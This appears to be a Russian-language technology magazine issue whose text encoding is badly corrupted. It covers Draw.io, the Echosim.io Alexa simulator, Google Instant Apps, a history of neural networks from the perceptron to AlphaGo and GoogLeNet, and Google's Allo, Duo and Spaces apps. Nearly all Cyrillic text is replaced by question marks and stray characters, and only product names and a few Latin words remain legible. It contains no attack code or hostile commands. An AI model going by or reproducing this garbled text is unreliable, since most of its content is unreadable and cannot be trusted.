?аOSаXа? OmniGraffle, ?? ???? ???????????? ???????? yEd ?а??? ????
????? ???а????????? ????????. ??а???? ????????????? ?а??? ?????
???????? ?????? ??а???????, ?? ????????? ????????? ????? ???????? Draw.io. ???????? ??а?? ??? ?? ???????? ?а????????, ??? ??????????? ???? ?а??? ???????? ?????????? ????????.
?аDraw.io ???????? ????? ?????: ???? ????????? ???а?????????
???? ???????????? ?????, ??? ?????? ?а???????? UML; ?а?????????? ?? ?????? ???????? ?а?????? ??????а? ???а??????????? ????,
??????????? iOS ?аAndroid, ??????? ??????. ????? ??????? ?а????
????? ?а???????? ?а?????.
??????? ??, ???? ????? ?????? ????????? ??????????? ??????
?а?????: ??????, ????????????, ???????, ??????? ?????? ??? ??????????. ????????, ????-?? ????? ??а??????? ???????????? ?а??????, ????, ??а??????? ????, ???? ????.
Draw.io ???????????? ?????? ?????? Visio, ?а????????? ?????
???а?а????????? ???????, ??? ?а?аSVG. ?????? ????? ?????? ???????? ?аDropbox, ?а?? ????? ??????????? ????????????? ??а???? ??????????????.
?а?????, ???? ?????? ?????????? ???????? ???? ??? ?????????,
????? ???????? ?а????????.
ECHOSIM.IO ?аAMAZON ECHO ?а????????
Echo
3
? ?????? ??? ????????? Echoа? ??? ?????????, ?а???????? ??? ???????? ?а??????????, ???? ???? ??????? ?а????????. ?? ????? ????
?а????, ???? ???????????? ????????? ??а????? ?а?????????? ?????????? Alexa. Echo ???? ??? ????????? ?????? ?а???, ????????????? ?????? ??а?????????? ?а??????? ??а???????????? ?????? (? ???????, ???????? ??????? ?????? ?а???????? ??????????). ??а????
???? ????????? ??? ?? ?????? ?????? ?????? ??????? (л??????╗)
???аAlexa, ?? ?????? ????? ?????? ??????????? Echo ?а????????.
Echosim.io ?а?????? ?????? ????????????, ????????? ??а??????
???? ?а???? ????????. ??а????, ??? ????? ???? ??????? ???а????????
?????????? Alexa Voice Service. ???? ????? ???а???????: ?? ????????? ?????? ?а???????? ?а????????, ?аAlexa ????????. ?????? ?????: ?????????????? ??а??? ????????. ?а???????, ??а?а??????????,
??а?а????????? Safari ???? ??а??????????. ???? ???????? ?аChrome.
???? ???? ????????? ??????????? Alexa, ?? ?? ?????? ???????????? Alexa Voice Service ?а????? ????????: ?а???????, ??????? ??????????? Echo ??аRaspberry Pi (?? ?????? ?а???????????? ???????????) ??? ????????? ????? ?????. ??? ?????? ??????
???а???????????: ??????? ?????? Alexa ????????? ????? ?????? ?а?????? ??????? ?????????? Tesla, ????? ?? ?????????????? ??????.
?а??? ???а???? Echosim ???????????? ??????, ??? ??? ???а????????????? ?????? ????? Spotify. ????, ??? ???????? ???а??????? ???????? ??????? ???а????????????? Echo.
?????: ??????? ?????? ???????????
??? GOOGLE INSTANT
APPS ?????? ?????????
??????
??????????
??????? ????? ???-??????? ? ???????????? ???????? ??????? ????????? ?????? ???, ?? ??? ? ?? ??????. ????????, ?
????????? ????????? ????????? ?????????? ????????? ?
?????? ?? ?????????? ???????. ?????????? Instant Apps ?
??? ?????? ? ??? ?? ???????? ? ?????? ???????. ???, ????
???????? ????? ?????????? ????????????? ???????????
????? ???????? ???????? ???????? ? ????? ????????? ???????? ???????.
??а????????? ?а???????? ??? Google I/O 2016 ???? ???????? ????? ???????????а? ??а?????? ????????? ????? ?????? Android, ??а???????????? ???????????? ??????? ?? ?????? ???????? ?а??????? ???? ???????, ??а????????
?????????? ???а??????????? ??????????. ??а????? ???????, ??? ????? ??????
?????а? ??? ??аAndroid N, ??а??????????? ?????????? ?а??аGoogle Home, ?а????? ??? ????????? Instant Apps.
??? ??????? ?????? ????????????? Instant Apps. ?? ???а?????? ????????
??? ???????? ?аAndroid ????? ?а????????? ?????-?? ????? ?а????? ??а??????
?а????????? ??????. ?а?????? ????? ???????? ???? ?????????? ???????? ?????
??????????? ?????? ??????????, ?а??????? ????? ?????? ?????????? ??а????
?????? ?а?????? л??????╗.
?????? ?а???????????: ????? ?????? ?аGoogle
?а????? ??????????? ?а???????????? ????? ??????????
???????? ??, ?????????????? ??????? ??а????????? ?а??????? ??? (?????
???-??????? xkcd ??? ????? ??????????????? ??? ????). ??а????? ???????,
?а??????? ??? ?? ???????, ?а????? ??????.
??-??????, ?? ?????? ?????????? ????????? ???????, ????????? ??? ????????? ?а???????? ?????? ????????? ?????. ??-??????, ?а?????? ??????????
?????????? ????? ???????? ?????? ?а???????? ???????? ?а??????????? ?а???
??????????. ?-???????, ?а?????????? ????? ???? ????? ?????????? ?????????, ??? ?а?????.
?????????? ??? ??????????? ????????? ???????: ??????????? ?????? ????
????????? ???, ????? ?а??? ???? ????? ????????? ?????, ??????? ????? ????????? ????????. ????????? ????? ????? ???? ???а???? ??а???????????, ???????а? ?а?????? ????? ??????? ??????????? ?????????? Instant Apps. ?????????? ???????????? ?аGoogle Play, ?а?????????а? ??? ??? ????? Google. ?????
????????? ?????, ??? ?????? ????? ????? ???????? ??????????, ?? ????????
??? ??аGoogle Play ?а??????? ????????????.
???а???? ??а???? ????, ??? Instant Apps ????? ??????????? ??????, ??? ????,
?а???????? ?????? ???????. ?????? ??????????? ????? ???????? ?????????
????????, ?а??????? ????? ????????? ????????, ??????? ?????????? ??а????????? ??а?????? ????????. ????? ??????? ?? ??а????? ??????????, ??? ???
???? ??? ????? ????? ????????, ??????, ????????, ?? ??? ???? ?? ??????? ????-?? ????????.
?????????? Google I/O ???????????? ????? ?????? ??а???. ???????, ?? ?????? ????? ??????? ?а????????? ??????? ???????????. ???? ?а????????????
?а???, ??? ????? ?????? ????? ?????????? ???????????? ?????-?? ?????????
?а???а????? ?? ????????? ???????, ?а???, ???? ?????, ???????? ??????? ?????,
????? ?????? ??а??????? ????. ?????? ????????? ???, ????? ??? ???????????,
????? ?????????, ?а???????, ????? ????? ??? ??а????????? ?????.
???????????? ????????? ?????? ????? ??????????? ????? ?????????? ???????? ???????? ???а????????? ?а??а???????? ???????. ??? ??????, ????? ??,
??????, ?????? ???????? ???????? ????-?? ???, ?а???????, ??????? ??????????
????????? ?? ????? ???????? ??а??????? ??????.
????????? ???????: ????? ?а?????? ??????, ????????
??????? ?а??????????, ?????? ????????
???????? ??, ? Instant Apps ???????? ????? ? ??????? ???????. ????????????
??????????? ? ?????? ??? ??????? ????? ?????? ??????? ????, ? Android ?????? ???? ???????? ???? ??????? ????????? ?? Google Play. л???????????? ??????????╗ ?????????? ?????? ???????, ?????? ??????????? ????????, ? ????? ????????? ???????? ?????????, ????, ??????, ????????, ?? ??? ??? ? ????
??????? ?????????, ? ??????? ?????? ??? ???? ?????????? ??????????.
??а??????? ????????? ???? ???? ?????? ???????????? ??????. ?а?????
????????????? ?????, ????? Microsoft Word ??? ????? ??а????????? ????????????? ????????? ???????????, ????? ??а????????? ??а??, ??? ??? ???????? ??????. ????????, ??? ???? ??????а? ???? ???????? ?????? ??? ?а?????? ?????????.
???? ????? ???????????? Windows ?аWord ??????? ??? ?????? ??????????
???????????? ?????????? ????????? ??????????, ?? ??? ??? ???????? ?????????, ??? ??????? ?? ??????? ??? ???а????. ?а??????? ?????? ??? ??? ???? ?????
?????? ?????????, ?а??а??? ??? ??? ?????? ??а??а?????.
???, ???? ???????????? Android ?а?????????? Google ??????? Instant Apps
????? ?????????? ??????? ?????? ????, ??? ????? ????????? ?а??? ?????
????????, ?? ??????? ???, ????????? ??а????-???? Java.
?????, ???????, ?????????? ?а???????, ??? ??? ?????? ?а??????????? ????? ????????? Sun Microsystems. ??а???-?? ???????????? ????, ??? ????????? ??аJava ????? ??????????? ??а????? ?????????? ?а????? ????????????,
?а?аGoogle ?????????? ???, ??? ???а??????? л??????? ????╗ ????? ????? ??????????? ??????????. ?, ??????, ??? ????? Android ??а????????, ???? ?????? ?а???????? ???? ?????? ?а????????? ?а??????????????? ?аGoogle ??????? ???????.
??? ???? ?а??????? ?а???????????!
?а?????, ???? ???????????? ??а?????? ??? ????????? ????????. ???а????????, ?аChrome OS ??????? ?????????? ????????? ?????????? ???аAndroid,
?а??? ??????? ?????? ??а???????? ?аInstant Apps. ???????? ??? ???????? ???????? ???????? ????????????.а?а???а????????? ???????? ??а??????? ??????????????? ?????????? ???, ??а????????? IDC, ??? ????????? ????? л?????╗
(????????? ?а?????????).
???????? ?????????? ???????? ???? ?а?????? ??? ??а?????? ???, ??? ??? ????????? Instant Apps ???? ?? ????? ??????? ????????? ????????. ??а??, ??????, ???????? ??? ?????? ????? ?????????? ?а?????????? ?? Accelerated Mobile
Pages (AMP) ?аFacebook Instant Articles. ??? ??а???? ?????? ?аInstant Apps ?а???????? ??а??, ????? ????? ???????????? ???а????????? ????????? ???????.
???????, ?????????? ?а???????, ??? Google ??????? ???, ???? ????. ??????
??????? ?а???, ??? ??аInstant Apps ????? ????? ??????, ?? ?а???????? ?а??????????а? ??а?????? ?????. ????????? ???????? ??? ??а????????? ?????? ????????? ??????????????? ????????, ?аInstant Appsа? ??а????????? ??????????
????? ????????. ???? ??????, ??? ????????? ????? ????? ?а????????? ?????????? ?а????????????.
???????? ??? ??? ??а???, ??, ??а??????? ????, ??? ???????? ???????? ?а????? ??????????? ????????
?а???, ???????, ????? ??а?????, ??????? ??? ?????????? ??? ???, ????????? ???
?а????? ????? ???????????????? ?а?????? ???????? ????????? ???? Google. ???
??? ?????????? ?????? ?а???а??????????? ?аApple? ???????? ?? ?аiOS ??????
?????? ???, ???? ?????, ?а????????? ????????? ??????????? ?????? ???????
?а?????????? ?а?????? ???????????? ??????. ???????аFlash? ??? ????????? ?????? ??????? ???????? ???? ?????????????????? ?????????? ?а?????
(? ??? ??????? ???????), ?а????? ??????? ???, ????? ??? ???????? ????? ???
(? ??? ??? ??? ??а?????). ?а??а?????????? ??????-?? ??????? Flash ???? ??????????? ??????? ??????, ??а??????? ??? ?????? ?????????? ???а????? ??????.
Instant Apps ?аGoogle, ??а??????? ????, ?????? ?а????? ?????? ?????????.
?????
????????
?????????
???а??????????
?????????
?а??????
??? ???????
???
??????? ??????
zobnin@gmail.com
??????? ?а????????? ????? ?????????? ?????? ????. ??
???? ????????? ?????????? ??? ?а??????? ????? ??а??????????, ?? ???????? ???????? ?а????????? ??????????
????, ?? ?????? ???????????? ??????? ??????, ??? ?????????? ?а?????? ??????? ?а???? ?????????? ????. ?а??????
??????? ??????? ?а???? ??????, ??????????, ?????????
????????????, ?а???? ??????... ???, ??а???????????, ?а?????? ????????? ??а?????? ?а???????? ?????? ??а??????, ??????????? ??????????? ???????. ??? ???-???? ????
???????? ????
????????????? ?а????????, ??????? ???????? ?а???????? ???????? ??????,
????????? ????????? ??? ?а????????????? ?????, ?а??? ??????? ??????? ???????? ???????? ??а???????? ?а???? ??????? ?????? ????? ????????????? ????? ????? ??? ??????. Deep Blue ??????? ?????????! Watson ?????? ?????
?аJeopardy! ?а?????? ?????????? AlphaGo ??????? ?? ?????? ?а?????? ??а?????? ??????? ?а?? ??а??????????? ????.
????????? ?????? ???????? ?????????. ?????????? ????????? ?а?? ?????? ?????????? ????????????????? ????????????? ????????. ??????????
????????? ?????????? ??? ????? ??????? ???? ????? ????? 129 960 (? ????????, ???а?????????,а? ?????????), ?а??а???? ???? ?? ?????????? ??????, ???
?????? ?? ?????????. ???????? ???????? ????? ??а?а????????? ????????? ???
????????? ?????????? ?а??????????? ???????????????? ???????, ???????
?????????? ??а????????, ???????????? ?????? ??????????.
?аAlphaGo ???? ???? ??а????????,
?? ???-??? ????? ??а??? ???????.
??????? ?????? ????? ?????????
??а?????? ????? ????????? ??????
?????? ?а?????? ???? ?а?????. ???
????????? л???????????╗ ????????????? ???? ?а??? ??а?? ?????? ???????????? ???? ??а????????? ?????
??????. ?? ???? ????????? ???????? ?? ???????????? ?????, ??????? ???? ?????????? ???????????,
?а??? ?????????? ?а???????? ????????????.
?? ?????? vs. AplhaGo
?а?????? ???? ???????????
AlphaGo ???????????? ??а????????? ????????? ????, ????????? ??? ?????????? ??? ?????, ?а?????????????
?????????, ???????? ???????? ?а??а????????? ????????????. ??а????? ????
???, ??????? ??, ??а???. AlphaGo ?а??? ?????-????? ??????????? ?????? ???????????? ????????? ????, ??????? ???????? ?????????? ?????? ???? ?????????? ??????. ???????? ?? л????????╗а? ??? ????????? ???????? ???????,
????????? ??а????????? ????????. ?????? ??????? ????????? ???? ????????
?????????????????? ???????? ???? ??а?????.
?????????? ?а?????? ????? ?????
??????? ???? ????????????? ????????? ???? ????????? ?????????????
????? ?????????? ?а1957 ???? ?а?????????? ?? ?а??????????????? л????-1╗
?а1960-?. ?????????????? ?????? ????? ???? ???????? ??? л??????????╗,
?а???? ?????????? ???????????? ????? ????????? ?????????, ??????????
????? ??а?????????? ????? ?????????????. ????????? ?????????? ???????????, ?а????? ??????????? ??????? ???????????? ?????? ????????????? ????????, ????? ???? ??????? ????????? ???? ???????????? ??????????????
?????? ?а????????? ????? ????????.
??а????????
????????
л????-1╗а? ??? ???????. ?а???? ??
??? ???????? ??а????????? ???????: ?а???????, ???????????
??а?????????????? ???а?????????? ??? ????????. ?????? ???????,
??? ???а????????? ?????? ?????????????? ???????? ?????? ????
?????? ?????? ???? ???????????.
??????????? ????????? ??????
?а???????????? ????? ?????? ?а???????? ????? ??? ??а??????. ?а1969
???? ?????? ??????? ?а??????
?????? ??????? ??? ????? ?а?????
л???????????╗, ????? ???? ???????????? ?а??????? ?????????? ????
???????? ?а??????, ???а????? ????????, ????? ????????????? ???????? ?????????? ?а??????????
??????? ??????????.
????? ??????? ???????? ?а????????? ????? ????????? ????
?а1986 ????, ????? ???????? ?????? ????????? ???????? ??а?????? ????????? ??????????????? ??????. ?? ???????? ??????????? ???????? ????????
?а???????? ???????? ??????????. ?????? ?????????????? ??????? ??? ???
???? ??????????, ?? ?а????????????? ??????? ??????? ?????? ???а???????? ?????????? ??а????. ??????? ??? ???????????? ?а???????? ???а????????????????? ??????? ?а??????????? ???а??????? ????? ????????????? ?????
?????. ?????, ??????? ??а??????? ??????? ????? ?????????? ??? ??????????,а?а?а???????, ????????????? ??????.
?а2012 ???? ????????? ???????, ??????? ???????? ??????? ???????? ????????? ?а??????????. ???? SuperVision, ????????????? ?а?????????? ????????????, ?а??????? ??????? ???????? ??????? ????????????? ????????
??а???????????? ImageNet LSVRP (Large-Scale Visual Recognition Challenge).
????? ?? ?????? ????????? 16,4%, ????? ???а?????????, ???????? ?????? ?????, ????????? ?а26% ???????. ???а?????????: ??????? ?????? ?????? ?а5%
???????. ??а???????????? ????? ???? ??, ??? ???а???????????????? ????????
???? ????????????? ??а???????, ?а??????? ????????? ?а????? ????????????
NVIDIA. ?????????? ?????? ????? ??????.
??? ??? ?????? ??????, ????? ????????? ????????? ???????????? ????????? ????????? ?????? ?а????? ??????? ?а??????????? ?????. ???? ??????????? ???????? ?а???? ??а?????? ??????? ??????? ????? ???????????,
?????????, ?????? ?а???????, ??а??? ?а?????? ????? ?????, ??а??????? ??? ???????а? ????????????? ????????.
?????? ????????? ???????. ??а??? ??? ?????: ???? ??????? ??а?????? ??????? ????? ?????, ?а?????? ?? ???????? ??????????. ?а???? ??а?а?????-??
???????? ?????????? IBM, ?а?а??????? ????? ???, ??? ???????? ???? ???????? ??? ?а?????? ????????.
?????, ?а???????
SuperVision ??а???????? ????? ???????? ????? ??? ????????? ?????. ????????????? ???????????а? ????? ??????? ????? ??????? ?а???????????????,
??? ?????? ?????? ??????? ??а??????. ???????, ??? ???????? ????? ?а??а????
????????? ???? ????????, ?????? ???? ???????, ??а???????? ?а???? ?????????? ??а????????????? ?????????, ????????, ??????. ?а??? ????????? ??? ??????? ??а????????? ?а?????????? ?????????, ??????? ?? ??????? ?а??????
???????? ????? л?????╗, л????╗, л???????╗ ?а??? ?????. ??? ????????? ??????????, ?а?????? ??а??????? ???? ????? ????? ?????????????. ??? ????? л?????╗? ?ал????╗?
?????? ??? ?????? ?????? ???а?????? ?????? Deep Learning (?????????
????????), ???? ???????? ?а???, ????? ?????????? ?а???? ??????? ?????????? ????? ???????? (? SuperVision ?? ???? ????, ?а??????????? ????? ???????
??а?????). ?????????? ???-?? ????? ???????? ??????????. ?а????? ???? ????????????? ???????, ??а??????? ??? л?????╗, ???а???????? ?????? ?а?????????
?????????, ?а????? ??????, ???а??? ????????????????. ?а?????? ?????? ??????? ??????????????? ???? ????.
????? ???????????? ?а???????????, ??, ????? ?? ???????, ?????? ??????????? ??? ??????????. ??-??????, ???????? ?????? ???? ?????????????
?????. ??а????? ?а???? ??а??????, ?а??????? ?а????? ?????, ?а??? ??????, ???
????? ????? ??????????. ??-??????, ???? ?????? ???? ????????????? ???????
?а???????? ??а????? ????? ??? ???? ????????? ????????, ???????????? ??
????????? ?????. ?а???????? ???????? ?????? ??а??????? ??????????? ????? ??? ???? ?а?????????? ?????????? ??????. ?????????? ?а??????????????
????????? ?????????? ???????????????.
?????? ???????? ?????? ???????? ?????? ?а??????? ????????? ??а?????
?????. ?а???????, ?аGoogle ?????? ?????????, ??????? ???????? ??а16 ??????? ???????????? ????. ???, ??????? ??, ?????? ?? ????????????? ?????????? ??????????????.
?а2014 ???? ?аGoogle ??????????? ????? ??????? ?а??а???? ??? ???????????? ????????? ????????. ??????????? ????? ???? GoogLeNet (pdf) ??а22 ?????, ???????, ??а?????? ???????, ??? ?? ???а?аSuperVision, ????? ???? ???????
??а?????????? ?????????????? GPU ??а??????. ??а???????? ImageNet ?????????? ???? ???????? ???? ???????????: ????? ?????? ????????? ??а6,7%. ????? ???а?а????????!
???? ?? ???????, ??? ??? ??????????, ?? ?? ??а?????? ????????? ????????.
??????????? ????????? ?????????? ??????? ??а?????? ??а????, ??а???? ????? ????????, ?а????? ????? ????????????, ??? ?????????? ??а??????????.
??? ?а????? 2014 ???? ????????????? ??аGoogle ?а????????????? ???????????? ???????? ?????????, ????????? ???????????? ??????????? ???????
?а???????????. ???? ???????? ??а??????? ??????? ??????, ??? ??????????.
?????? ?????????? ?????? ?????????
????? ?????? ???????? ??а????????????? ???????????? ??????????? ???????? ??? ????????? neuraltalk2, ??????? ??? ??????? ????? ????????? ?????
???????????. ?????? ????????? ?????, ??? ?а?? ??????? ??????? ????????
??????????, ?а??????? ???????? ?????????? ??а?????? ??????????? ???????????.
???а?? ???????, ??? ??????? ??????????? ?????? ??????????? ?????????,
?а????????? ???????. ????? ??? ???????? ??????????? ?а????? ????????????
???????? ?????? ?????????? ??????????? ??а?????? ??????????? ??? ??????
(???? ?а?????? ??? ????? ???? ???????????, ??, ????????, ??а??? ???). ?аGoogle
????????? ??? ?????????? ??а?????? ???а????????????? ??????????? ??а?????????, ??а?а?а??????? ???????? ??????? Google Photos.
???? ?? ??????????? ???????? ?аAndroid, ?? ?? ????????? ???????????? Google Photos.
??а?????? ?????? ??? ?????
??а?????????????? ??????? ?а?????????????? ????????? ?????????? ?а??????. ??а???? ?? ???????? ?????? ??????, ?? ???????,
??? ?????????? ???????? ??????
???а???? ?????????? ??а???????? ??????. ?? ?????? ???????
?????? ?а??????????, ???а???????? ????????? ?????????? ??????? ??а????? ??????.
Facebook ???? ??а???????, ??а??? ????????? ????? ??????????????????????.
???
????????????? ???а????????????? ???, ?????? ???????? ?????????? ????????а? ?а???????
???????? 3D-?????? ???? ??а??????????. ?а???, ????? ??? ?????, ? ?????, ???????? ??а?????.
?а??? ????? ????? ????, ??????? ????????? ??????? ?а?????????? ????????,а?а??? ??? ??????
????????????. ????, ???????,
???? ?а?????????? ????????
Microsoft How-Old.net ?аEmotion
Recognotion. ???????, ?а??? ????
????? ??????????? ?аGoogle Photo
???????????? ?????????.
?????? ????? ?????? DeepFace
?????????? ?а???? ????????????????. ?????????? ?????? FindFace, ?????
??????? ???????? ?ал?????╗, ??????? ?а?? ??????? ??????????? ???????????, ?????????? ??а??????????? ?????????? ?? ???????? NTechLAB. ?а2015
???? ??? ????????? ?????? ?????? ????? ?а????????????? ???????? The
MegaFace Benchmark. ?? ???? ???????? ?а???????? Facebook ?аGoogle.
?????, ?? ?????? ?а?аDeepArt, ???????, ??????? ????????? ????? ????? ?????? ??????????? ?а????????? ??? ?а???????. ?????? ?а???????? ??????? ??????????? ??????? ?????????? ?????????, ?а?а???????? ???????а? ???????????
?????, ??? ?а????? ??????????? ?а????? ??? ????, ??а?а?????? ?????. ????????
????????? ?????, ??? ??????? ??а????????? ??????? ??а?????? ?????? ????????
???????? ??а?????????. ?????? ????????? ???? ?а?????? ???? л??? ??? ???
?????╗, ????????? л???????╗ ?а?????????? ?ал????????╗.
?а???, ???? ????? ?????? ?а?а???????? ??????? ??????????? ????? ??а??????????, ?а????? ??????????? ???????? ?????? ?? ????????? ??????? ??а???
???????????? ?????????? ?а?????-?? ??????а? ??. ?????????? ?а????????
?????? ????????? ????????? neural-doodle ?????? ?????? ???. ??????????
Paint, ???????? ?????? ??????? ?а???????????? ??? ??????????? ???????
doodle.py. ???????? ?????????, ???? ?????? ??????? ?????? ??а????? ?????.
?????? Paintа? ???? ????????
?? ?а??????? ??, ???? ???-?? ???????? ?а??????????, ?? ????? ????? ????????? ?а?а?????????????. ?????????? ????????????? ???????????? ????? ?? ????? ????????? ???? VGG (pdf) ??а?????????? ?????????????, ????????? ??
?????????? ???а?????????? ?????????? ??????? ????? ????????? ???????
?а???????? ???????????, ???????????? ??? ????? ?а??????. ?????????????????? ???????: ???? ???? ?а??????????? 1024 ╫ 463 ??а??? ?????? ???а????????? ???????????? ??а???????? ?а??????????? ???????????.
?? ?а??? ?????? ?????????? ????????? ????????? ?а????????, ?а???а????? ?????? ??а??????????? ????????????? ????????? ?а???? ??а?????. ?????
DeepArt, ???? ?а?????? ?????????? ???????, ??????? ?а???? ?? ???????? ??????? ???????. ????????, Instapainting ?а?????????? Ostagram. ???????????!
??а?????? ????????
??????? ????????? ??????? ?????? ???а?????? ?а????????? ???????????? ???????, ???. ?????? ????????? ?????? ????????????? ??????????а? ??? ????????????? ????. ?а2011 ???? ?аGoogle ???????? ?????? Google Voice Search
(?????? ?? ?????? ?аGoogle Now) ??а????????? ?а???????? ???????? ??????
????????????? ??а25%. ?а2014 ???? ?? ?? ????? ?аApple ??????? ?аSiri, ?а??????
??????? ?аMicrosoft ????????? ??????? ??????????? ???????? ???? ?аSkype.
?а??? ???? ?????????? ??а?????????.
??? ???? ????????????? ???????????а? ??? ????????????? ????????????? ?а?????? ??????, ?? ???? ?????????? ??а????????? ??а???? ?????? ??????
?а??????? ??????????????? ??????. ????? ??????? ??? ???????????? ?аGoogle
Inbox ???а????????? ???????????. ?аGoogle ????????? ???????? ??? ?????????? ?????????, ?а??? ????? ?????????? ??????? ?????? ???????? ???????.
??? ?????????? ?????? ???????? ?а??????? ???? ??????????? ???? ???????????? ??а?????? ????. ??? ??????? ???????? ?????????????, ??а??а?????? ?????? ????????????? ?????????? ??????? ?????.
????????????? ?????, ??????????????? ??????????
???????? ?а?? ?? ????? ???? ???????????? ???????????? (pdf) ??????????
Google. ??? ?????????? ??????? ????????? ????????? ??????????? ?????????
?????? ?????????, ?, ???? ??а??????????? ???????? ???????? ?а?????????????, ??? ?а??? ??????? ??????????. ???? ????????????? ??????? ????????????
?????? ????????. ??а???????, ??????? ??, ??????? ?????? ??а??, ??? ????????
???? ????? ??????? ?а????? ?????????????.
?????????? ??а????? ?а????????? ???????????? ????. ?????? ??а????????????? Google
DeepMind, ?????????????? ?????
????? DeepArt ?а??? ????? ?????
AlphaGo, ??? ?а?????? ????????
???? ??????? ??, ??????? ?????????????? ???????? ?????? ?а49 ???????????? ??? ?аAtari ?а??????? ?????? ??????? ?а22 ??а???. ???а????
???? ??а???? ???????? ?????? ????
?а??????????????? ?????? ??а???????????а? ???а?а??????? ?????.
??????????? ??????? ?????
?????? ?????? ?а???а?????????
??????????. ?а???????, Super Mario
?????????? ???а?????? ???????? ????????? ?????? ???? (?? ???
?????????? A*). ????? ??, ??? ????????? ???? ?????? ????????????
???????? ??а?????? ?а????????????????? ??? ??????? ????? ????
?а???? ?? ?????????? ???, ?а???????, Asteroids.
??? ?????????? ?????????,
???а????????? ????????? ??????????????? ???а????? ?????????????????? ??????? ????????????????
?????? ????????? ?а?????????????
?????? ???. ????????? ???????????
Google ?а??????? (pdf) ??????? ????????? ????????? ????? ??а??????
Magic the Gathering ?аHearthstone. ??? ?????? ???????? ??????, ???а????????? ??
??? ???? ????? ????? ????, ???а?? ??????? ??. ???????, ????? ????????? ??????,
????????? ?????? ????? ???????? ????????? ??? ??????? ?а??????????? ???.
?а??????????? ??? ????????? ??????????? ????????? ????????
????? ??аHearthstone ?а????????????? ????????? Google
?? ????, ??а????, ??а?????????? ???????? ??? ????. ???????? ?а???: ?? ?????
?????? ??а????, ??? ????????? ????? ?????????! ???????, ???? ??? ?а??????????: ????????? ??????????? ??? ?????????? ????; ????? ??а?????? ???????
????? ??????????????? ??????, ??? ????????? ??????, ?? ?а??? ?а????? ?????
??????? ?????????.
????, ?????????? ???а?????????? ??а???а???, ????? ??????????? ?а?а?????? ????????. ???????? ????????? ??а???а? ??????????????? ??????????
?а??????????? ??????????? ????????. ?аNVIDIA ??????? ???????????? ?????????? ???????????? (pdf): ???????????????? ???????? ??????? ??????? ?????????? ???????????, ??????? ?????????? ????????????? ??а??????
?а????????????? ????? ??????? ??????? ??????. ??а?????? ???? ??????????
????????? ????????? ??????? ?а??????? ??????? ??? ???????? ????. ?а?????
????????? ???????? ??????????????. ????? ????????? ???????? ?а?????????
???? ????????? ?????? ??а??????????? ??????? ???а????????. ?а??? ???а?????????????? ???????? ????? ?????? ?а???а??????????? ??????????. ????????? ???????, ???а?????? ??????, ????????? ??????.
??? ???? ?????? ?????????? ??????????а? ?????????. ?????????? ????????? ?????????, ??????? ?????????? ????????? ????????????? ???а???????????? ???????????? ???????: ????????? ??????, ????????? ????? ???
??????, ?????????????? ??????? ?а??????? ???????. ?? ???? ??????, ??? ???
??? ????? ????????????? ?????????, ??а????????, ??а???????? ????????? ????????.
??????
?а???-????: ??????? ?? ????????????? ????????? ???? ???????? ??а???????????? ?????????? ?????? ??????????????, ????????? ?а????? ???????????
????а? ??? ????? ?????????????????????? ???????, ??????? ????? ????
?????? ???а?а?????????? ?????? ?????, ??? ?а?а??, ????? ??? ??????????
?а??????? ?а??????-?????????????? ???????.
??, ????????? ???????? ???????? ???????? ??а??????????, ?????????
???? ??????? ?а??????????, ?????????? ???????? ?а?????????? ?а???????????? ???? ?а???? ????? ???????, ???? ??? ???????????? ????? ??? ????????.
??а??? ??? ????? ???? ??????? ???а????????? ???????? ??????. ?????????
??а????, ??а???????, ??а???????? ??????????????? ?????????????. ??? ??????????, ??????? ????????? ?а?????????, ????? ???? ?????? ??????, ??а???
???????????? ????????? ??? ?????????: л??? ???????????, ? ???? ?????, ????
?? ??а??? ?????; ? ??????? ??а????, ???а?? ?????, ??а?а???? ???? ????? ??????
??????????? ?а??????? ???а?????????╗.
??????? ??а????? ?а????????? ??? ????????? ????????? ?а????????????
???????????, ??????? ????????? ???,а? ?????????? ????, ??? ?а??? ???????
???? ????, ??? ????????, ?????? ?????? ?а???? ?????. ?? ????? ???? ????????? ?????????, ??? ??????? ??????????? ????????? л?????? ?????????????
?????????╗.
MOBILE
?????? #20.
??????? GOOGLE
?????????
????
??????? ????????? ?????.
???? ?а???, ??? ?а???????
?????? ??а???????????
Google I/O 2016, ?? ?а??а???,
????????? ?????? ???????
????? ?????? ??????
???????? ?а?????????????
??????????, ???? ???????
?????? ?????? ??????.
??????? ?????? ????????
????????? ??а??????????
??????, ?а?а???? ???
??????????? ???, ???
?????? ????? ???????
л??????????? Google
??????? ???-?? ??а??╗.
SPACES
?????? ??аSpaces. ??? ????????????
????? Google ??а?????? ???????????
?? Google+. ???, ??? ??а????? ?????????? ????, ??? ?????????? ???а?????????? ???????, ????????????, ??????????
?а????? ?????? ??????? ?а????а? ?? ????
?????? ???а????, ???а???? ?а???????????
????? ?а???????????? ?????????? ????.
Spaces ???????? ? ???? ???????, ??????
YouTube ? Google Photo, ??? ??? ????? ?????? ????? ?????????? ????? ??а??????????, ?а????? ????? ??????? ???????
???? ??а?????? ?????????? ????????
?а?????????? ??????.
?????-???? ?????? ???????????????? ??? ???, ?а??????? ??????? ???????????, ?????? ????????????????????
???????????? ??? ?? ??????? ????????? ??? Twitter ?аFacebook ??а??? ??????????. ?????? ?????, Google ??????????
?????????? Spaces ?????? ???а????????,
?а??????? ??????? ?? ????????????????
?????????, ???а??? ??? ?????? ?а??????.
Spaces
?????????:
Android 4.1+
????:
?????????
ALLO
Allo, ?а?????? ???????,а? ??? ??? ?????
Telegram ?аFacebook Messenger. ??а????,
??? ?? ?? ????? ?а????? ???????????
?????? ???а?????: ???????, ????? ?а?????????, ??????????? ???????? ???? ?????? ?а???? ??? ??????. ??а???? ??? ?????? ?????. ??-??????, ??? ???????????
Google Inbox ??????? Smart reply, ???????????? ????????????? ??????????????? ??????, ??????? ?????????? ??а?????
?????? ????? ?????? (??, ??? ??????????
machine learning ?а????????? ????).
??-??????, ??? ?????????? ?аGoogle
Assistent, ???????????????? ??????????, ????????? ??а????? Google Now.
????????? ??????? ???????????? ?а?????????? ?а????????? ????????? ?????
??а?????? ????? ????????? ??? ????????? ???????????, ???а???? ???????????? ???????? ????? ????? ??? ?????. ??
?а?????????: Allo ?????????? ?????? ????? ?????????? end-to-end, ????????????? ???????? ????????? ???????? Open
Whisper Systemsа? ????????? ????????
??????????? ??????? ???????? Signal.
?а?????, ???????? ????, ??а??а?????? ???????, ????? ??? ????? ?????
??????????, ????? ???? Hangouts, ??????? Google ?а??а?????????? ?????????,
???а??а???????. ?????????? ????? ???????? ???аiOS ?аAndroid ?????-?? ?????.
DUO
?????? ?аAllo Google ??????????? ?а????
??????? ??????????? FaceTime. ????? ???
?????? ??????: ?????-?????????????
???????????, ????????????? ????????
